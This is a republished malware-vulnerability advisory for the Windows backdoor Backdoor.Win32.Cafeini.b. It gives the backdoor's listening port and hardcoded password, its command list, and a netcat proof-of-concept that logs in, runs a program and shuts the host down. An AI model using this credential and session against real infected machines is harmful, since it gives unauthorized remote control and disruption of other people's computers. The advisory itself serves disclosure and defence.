Published on March 28th, 2022 📆 | 4188 Views ⚑
0Backdoor.Win32.Cafeini.b Hardcoded Credential – Torchsec
https://www.ispeech.org/text.to.speech
Original source: https://malvuln.com/advisory/b24c56abb4bde960c2d51d4e509d2c68_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Cafeini.b
Vulnerability: Weak Hardcoded Credentials
Family: Cafeini
Type: PE32
MD5: b24c56abb4bde960c2d51d4e509d2c68
Vuln ID: MVID-2022-0526
Disclosure: 03/25/2022
Description: The malware listens on TCP port 51966. Authentication is required, however the password "speedfire" is weak and hardcoded in the PE file.
Commands:
REGISTRYTOOLS or RT
REGISTRYTOOLS lub RT
TELNET
KILL
DIR or LS [PATH] - shows files in current directory
DEL or ERASE or RM
COPY or CP
CMD or SYSTEM or SYS
TELNET
KILL
DIR lub LS [SCIEZKA] - wyswietla katalog
DEL lub ERASE,RM
COPY lub CP
CMD lub SYS
SHUTDOWN - turn off computer
OPEN
SHUTDOWN - zresetuj (lub wylacz) komputer
OPEN
Exploit/PoC:
C:>nc64.exe x.x.x.x 51966
CAFEiNi 1.1
Enter your password:
speedfire
[32mC:UsersVictimDesktop>[37mexec c:windowssystem32calc.exe
exec c:windowssystem32calc.exe
STATUS: program runned
[32mC:UsersVictimDesktop>[37m
[32mC:UsersVictimDesktop>[37mcd Windows
[32mC:Windows>[37mSHUTDOWN
SHUTDOWN
STATUS: I'm going to shutdown computer
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